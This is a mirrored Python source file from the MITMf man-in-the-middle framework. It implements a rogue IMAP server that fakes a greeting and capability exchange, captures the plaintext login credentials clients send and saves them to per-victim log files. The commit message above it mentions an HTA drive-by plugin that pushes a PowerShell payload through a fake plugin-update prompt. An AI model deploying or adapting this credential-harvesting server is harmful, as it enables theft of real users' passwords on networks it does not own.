mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-07-06 13:02:24 -07:00
- The inject plugin now uses beautifulsoup4 to actually parse HTML and add content to it as supposed to using regexes - The logging of the whole framework has been compleatly overhauled - plugindetect.js now includes os.js from the metasploit framework for os and browser detection, let's us fingerprint hosts even if UA is lying! - New plugin HTA Drive-by has been added, prompts the user for a plugin update and makes them download an hta app which contains a powershell payload - the API of the plugins has been simplified - Improvements and error handling to user-agent parsing - Some misc bugfixes
53 lines
1.7 KiB
Python
53 lines
1.7 KiB
Python
import logging
|
|
import threading
|
|
|
|
from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler
|
|
from IMAPPackets import *
|
|
from core.responder.common import *
|
|
from core.logger import logger
|
|
|
|
formatter = logging.Formatter("%(asctime)s [IMAPserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
|
log = logger().setup_logger("IMAPserver", formatter)
|
|
|
|
class IMAPserver():
|
|
|
|
def start(self):
|
|
try:
|
|
log.debug("online")
|
|
server = ThreadingTCPServer(("0.0.0.0", 143), IMAP)
|
|
t = threading.Thread(name="IMAPserver", target=server.serve_forever)
|
|
t.setDaemon(True)
|
|
t.start()
|
|
except Exception as e:
|
|
log.error("Error starting on port {}: {}".format(143, e))
|
|
|
|
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
|
|
|
|
allow_reuse_address = 1
|
|
|
|
def server_bind(self):
|
|
TCPServer.server_bind(self)
|
|
|
|
#ESMTP server class.
|
|
class IMAP(BaseRequestHandler):
|
|
|
|
def handle(self):
|
|
try:
|
|
self.request.send(str(IMAPGreating()))
|
|
data = self.request.recv(1024)
|
|
if data[5:15] == "CAPABILITY":
|
|
RequestTag = data[0:4]
|
|
self.request.send(str(IMAPCapability()))
|
|
self.request.send(str(IMAPCapabilityEnd(Tag=RequestTag)))
|
|
data = self.request.recv(1024)
|
|
if data[5:10] == "LOGIN":
|
|
Credentials = data[10:].strip()
|
|
Outfile = "./logs/responder/IMAP-Clear-Text-Password-"+self.client_address[0]+".txt"
|
|
WriteData(Outfile,Credentials, Credentials)
|
|
#print '[+]IMAP Credentials from %s. ("User" "Pass"): %s'%(self.client_address[0],Credentials)
|
|
log.info('IMAP Credentials from {}. ("User" "Pass"): {}'.format(self.client_address[0],Credentials))
|
|
self.request.send(str(ditchthisconnection()))
|
|
data = self.request.recv(1024)
|
|
|
|
except Exception as e:
|
|
log.error("Error handling request: {}".format(e))
|